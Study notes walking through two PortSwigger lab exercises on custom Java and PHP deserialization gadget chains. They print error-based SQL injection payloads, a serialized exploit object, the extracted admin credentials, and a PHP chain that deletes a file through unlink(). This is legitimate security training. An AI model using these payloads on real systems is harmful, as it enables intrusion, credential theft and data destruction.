When off-the-shelf gadget chains and documented exploits are unsuccessful, you will need to create your own exploit. To successfully build your own gadget chain, you will almost certainly need source code access.

  1. If the magic method is not exploitable on its own, it can serve as your “kick-off gadget” for a gadget chain.
  2. Study any methods that the kick-off gadget invokes. Do any of these do something dangerous with data that you control? If not, take a closer look at each of the methods that they subsequently invoke, and so on.
  3. Once you’ve worked out how to successfully construct a gadget chain within the application code, the next step is to create a serialized object containing your payload. This is simply a case of studying the class declaration in the source code and creating a valid serialized object with the appropriate values required for your exploit.

Lab: Developing a Custom Gadget Chain for Java Deserialization

The /my-account page reveal a path to the source code file:

<!-- <a href=/backup/AccessTokenUser.java>Example user</a> -->

The content of that file:

package data.session.token;
 
import java.io.Serializable;
 
public class AccessTokenUser implements Serializable
{
    private final String username;
    private final String accessToken;
 
    public AccessTokenUser(String username, String accessToken)
    {
        this.username = username;
        this.accessToken = accessToken;
    }
 
    public String getUsername()
    {
        return username;
    }
 
    public String getAccessToken()
    {
        return accessToken;
    }
}

But this is a rabbit hole.

Navigate to /backup, there will be another source code file named ProductTemplate.java. Its content:

package data.productcatalog;
 
import common.db.JdbcConnectionBuilder;
 
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.Serializable;
import java.sql.Connection;
import java.sql.ResultSet;
import java.sql.SQLException;
import java.sql.Statement;
 
public class ProductTemplate implements Serializable
{
    static final long serialVersionUID = 1L;
 
    private final String id;
    private transient Product product;
 
    public ProductTemplate(String id)
    {
        this.id = id;
    }
 
    private void readObject(ObjectInputStream inputStream) throws IOException, ClassNotFoundException
    {
        inputStream.defaultReadObject();
 
        JdbcConnectionBuilder connectionBuilder = JdbcConnectionBuilder.from(
                "org.postgresql.Driver",
                "postgresql",
                "localhost",
                5432,
                "postgres",
                "postgres",
                "password"
        ).withAutoCommit();
        try
        {
            Connection connect = connectionBuilder.connect(30);
            String sql = String.format("SELECT * FROM products WHERE id = '%s' LIMIT 1", id);
            Statement statement = connect.createStatement();
            ResultSet resultSet = statement.executeQuery(sql);
            if (!resultSet.next())
            {
                return;
            }
            product = Product.from(resultSet);
        }
        catch (SQLException e)
        {
            throw new IOException(e);
        }
    }
 
    public String getId()
    {
        return id;
    }
 
    public Product getProduct()
    {
        return product;
    }
}

As we know, readObject() is a magic method that will be invoked automatically during deserialization process. This source code file redefines the logic of readObject() that will perform a SQL query. Also, in the above source code file, the user-controllable input id is passed into the query, which make this code is vulnerable to SQL Injection] vulnerability.

The simplified class declaration used for serialization:

package data.productcatalog;
 
import java.io.Serializable;
 
public class ProductTemplate implements Serializable {
    static final long serialVersionUID = 1L;
 
    private final String id;
    private transient Product product;
 
    public ProductTemplate(String id) {
        this.id = id;
    }
 
    public String getId() {
        return id;
    }
}

Obviously, we also need to create a class named Product in data/productcatalog folder.

The folder structure:

   Main.java

└───data
    ├───productcatalog
       Product.java
       ProductTemplate.java

    └───session
        └───token
                AccessTokenUser.java

Where Main.java will contain our main logic for creating malicious serialized object.

Specifically, we will create a method used for serialization:

public class Main {
    static String Serialize(final Object obj) {
        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(512);
 
        try (ObjectOutputStream out = new ObjectOutputStream(byteArrayOutputStream)) {
            out.writeObject(obj);
            out.flush();
        } catch (Exception ex) {
            throw new RuntimeException(ex);
        }
 
        byte[] bytes = byteArrayOutputStream.toByteArray();
        String encoded = new String(Base64.getEncoder().encode(bytes));
        return encoded;
    }
}

The main() method will serialize an object with id is the SQL injection payload:

public static void main(String[] args) {
	ProductTemplate productTemplate = new ProductTemplate("SQL Injetion Payload");
 
	// Serialize the object
	String serialized = Serialize(productTemplate);
	System.out.println("Serialized: " + serialized);
 
	// Deserialize the object
	ProductTemplate deserialized = (ProductTemplate) Deserialize(serialized);
	System.out.println("Deserialized: " + deserialized.getId());
}

The objective of retrieving administrator’s password is same with Lab Visible Error-based SQL Injection. So we use the approach of that lab.

First, use this payload:

' and cast((select version()) as int) = 1--

The generated serialized object:

rO0ABXNyACNkYXRhLnByb2R1Y3RjYXRhbG9nLlByb2R1Y3RUZW1wbGF0ZQAAAAAAAAABAgABTAACaWR0ABJMamF2YS9sYW5nL1N0cmluZzt4cHQAKycgYW5kIGNhc3QoKHNlbGVjdCB2ZXJzaW9uKCkpIGFzIGludCkgPSAxLS0=

Response has this error message:

<p class=is-warning>
java.io.IOException: org.postgresql.util.PSQLException: ERROR: invalid input syntax for type integer: &quot;PostgreSQL 12.20 (Ubuntu 12.20-0ubuntu0.20.04.1) on x86_64-pc-linux-gnu, compiled by gcc (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0, 64-bit&quot;
</p>

Next, try this payload:

'and(select username from users limit 1 offset 0)::int=1--

The response reveals the username of administrator:

<p class=is-warning>
java.io.IOException: org.postgresql.util.PSQLException: ERROR: invalid input syntax for type integer: &quot;administrator&quot;
</p>

Finally, we use this payload:

'and(select password from users limit 1 offset 0)::int=1--

The response has the password:

<p class=is-warning>
java.io.IOException: org.postgresql.util.PSQLException: ERROR: invalid input syntax for type integer: &quot;1vkaymc4srmvzgd5k9nb&quot;
</p>

Login with administrator/1vkaymc4srmvzgd5k9nb, access /admin and then delete carlos user.

Lab: Developing a Custom Gadget Chain for PHP Deserialization

Found this comment in /my-account:

<!-- TODO: Refactor once /cgi-bin/libs/CustomTemplate.php is updated -->

Access /cgi-bin/libs/CustomTemplate.php~ to get the source code:

<?php
 
class CustomTemplate {
    private $default_desc_type;
    private $desc;
    public $product;
 
    public function __construct($desc_type='HTML_DESC') {
        $this->desc = new Description();
        $this->default_desc_type = $desc_type;
        // Carlos thought this is cool, having a function called in two places... What a genius
        $this->build_product();
    }
 
    public function __sleep() {
        return ["default_desc_type", "desc"];
    }
 
    public function __wakeup() {
        $this->build_product();
    }
 
    private function build_product() {
        $this->product = new Product($this->default_desc_type, $this->desc);
    }
}
 
class Product {
    public $desc;
 
    public function __construct($default_desc_type, $desc) {
        $this->desc = $desc->$default_desc_type;
    }
}
 
class Description {
    public $HTML_DESC;
    public $TEXT_DESC;
 
    public function __construct() {
        // @Carlos, what were you thinking with these descriptions? Please refactor!
        $this->HTML_DESC = '<p>This product is <blink>SUPER</blink> cool in html</p>';
        $this->TEXT_DESC = 'This product is cool in text';
    }
}
 
class DefaultMap {
    private $callback;
 
    public function __construct($callback) {
        $this->callback = $callback;
    }
 
    public function __get($name) {
        return call_user_func($this->callback, $name);
    }
}
 
?>

Info

Follow the solution: Lab: Developing a custom gadget chain for PHP deserialization | Web Security Academy (portswigger.net) to solve this lab.

Firstly, we see that DefaultMap class has a magic method named __get() that invokes call_user_function(), which is a dangerous function:

public function __get($name) {
	return call_user_func($this->callback, $name);
}

Also, we see that CustomTemplate redefine a magic method named __wakeup():

public function __wakeup() {
	$this->build_product();
}

This method then invoke build_product() method, which will eventually invoke the constructor of Product object:

private function build_product() {
	$this->product = new Product($this->default_desc_type, $this->desc);
}

Important

Actually, $desc->$default_desc_type is __get('default_desc_type').

The constructor of Product will assign its desc property to $desc->$default_desc_type:

public function __construct($default_desc_type, $desc) {
	$this->desc = $desc->$default_desc_type;
}

We will utilize the $desc->$default_desc_type command to call the __get($name) method of DefaultMap.

More specific:

  • desc should be an instance of DefaultMap with callback is unlink().
  • default_desc_type should be "/home/carlos/morale.txt".

These arguments would be assigned to properties of an instance of CustomTemplate class.

Final script:

include 'CustomTemplate.php';
 
$defaultMap = new DefaultMap("unlink");
$path = "/home/carlos/morale.txt";
$customTemplate = new CustomTemplate($defaultMap, $path);
 
$serialized = serialize($customTemplate);
echo $serialized;

We also need to make some modifications on CustomTemplate class and DefaultMap class. First, we change the constructor of CustomTemplate to this so we can modify value of the desc property during initialization process.

public function __construct($desc, $desc_type = 'HTML_DESC') {
	$this->desc = $desc;
	$this->default_desc_type = $desc_type;
	$this->build_product();
}

Also, we need to change visibility of desc property and default_desc_type property to public so the serialized properties do not have the class name (CustomTemplate) prepended to it like CustomTemplatedesc or CustomTemplatedefault_desc_type:

class CustomTemplate {
  public $default_desc_type;
  public $desc;
  // ...
}

Do the same with the callback property of DefaultMap.

list
from outgoing([[Port Swigger - Create Your Own Insecure Deserialization Exploit]])
sort file.ctime asc

Resources